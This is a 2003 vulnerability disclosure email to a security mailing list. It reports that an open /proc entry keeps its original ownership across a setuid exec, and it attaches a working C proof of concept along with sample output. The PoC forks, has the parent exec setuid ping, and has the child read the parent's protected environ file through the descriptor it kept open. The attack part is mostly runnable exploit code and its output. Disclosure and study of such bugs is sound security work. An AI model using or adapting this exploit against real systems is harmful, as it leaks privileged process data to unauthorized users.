Date: Fri, 20 Jun 2003 14:55:48 +0200
From: Paul Starzetz <[email protected]>
To: [email protected], vendor-sec <[email protected]>
Subject: Linux /proc sensitive information disclosure
--------------080600000809040900090900
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Hello,
attached a simple prrof of concept for the /proc filesystem disclosing
sensitive information.
I noticed that opening an entry from /proc/self/ and keeping the file
open while executing a setuid binary prevents the opened proc entry from
changing the ownership from the initial user to the set-uid value.
However I'm not very sure about the impact of this bug (feature), the
attached code just reads the environment (which is per default mode 400).
The technique can not be applied to /proc/self/mem because the permision
checks are made dynamically (the child must be ptraced etc.).
This is a sample output of the PoC:
paul@home:~/dev/expl> ./procex
parent executing setuid
PING 127.0.0.1 (127.0.0.1) from 127.0.0.1 : 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.066 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.061 ms
child reads parent's proc:
PWD=/home/paul/..........
Content of /proc/32353
ls: /proc/32353/cwd: Permission denied
ls: /proc/32353/root: Permission denied
ls: /proc/32353/exe: Permission denied
-r--r--r-- 1 root root 0 Jun 20 14:47 cmdline
lrwxrwxrwx 1 root root 0 Jun 20 14:47 cwd
-r-------- 1 paul users 0 Jun 20 14:47 environ [*]
lrwxrwxrwx 1 root root 0 Jun 20 14:47 exe
[...]
-r--r--r-- 1 root root 0 Jun 20 14:47 status
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.060 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% loss, time 1998ms
rtt min/avg/max/mdev = 0.060/0.062/0.066/0.007 ms
[*] as you can see here the ownership didn't change...
/ih
--------------080600000809040900090900
Content-Type: text/plain;
name="procex-poc.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="procex-poc.c"
/****************************************************************
* *
* Linux /proc information disclosure PoC *
* by IhaQueR *
* *
****************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
static char buf[128];
void fatal(const char *msg)
{
printf("\n");
if (!errno) {
fprintf(stderr, "FATAL: %s\n", msg);
} else {
perror(msg);
}
printf("\n");
fflush(stdout);
fflush(stderr);
exit(129);
}
int main()
{
int fd, r;
char c;
sprintf(buf, "/proc/%d/environ", getpid());
fd = open(buf, O_RDONLY);
if (fd > 0) {
sprintf(buf, "/proc/%d", getpid());
if (fork()) {
printf("\nparent executing setuid\n");
fflush(stdout);
execl("/bin/ping", "ping", "-c", "3", "127.0.0.1", NULL);
fatal("execl");
} else {
sleep(1);
printf("\nchild reads parent's proc:\n");
fflush(stdout);
while (1) {
r = read(fd, &c, 1);
if (r <= 0)
break;
printf("%c", c);
}
printf("\n\nContent of %s\n", buf);
fflush(stdout);
execl("/bin/ls", "ls", "-l", buf, NULL);
}
} else
fatal("open proc");
printf("\n");
fflush(stdout);
return 0;
}
--------------080600000809040900090900--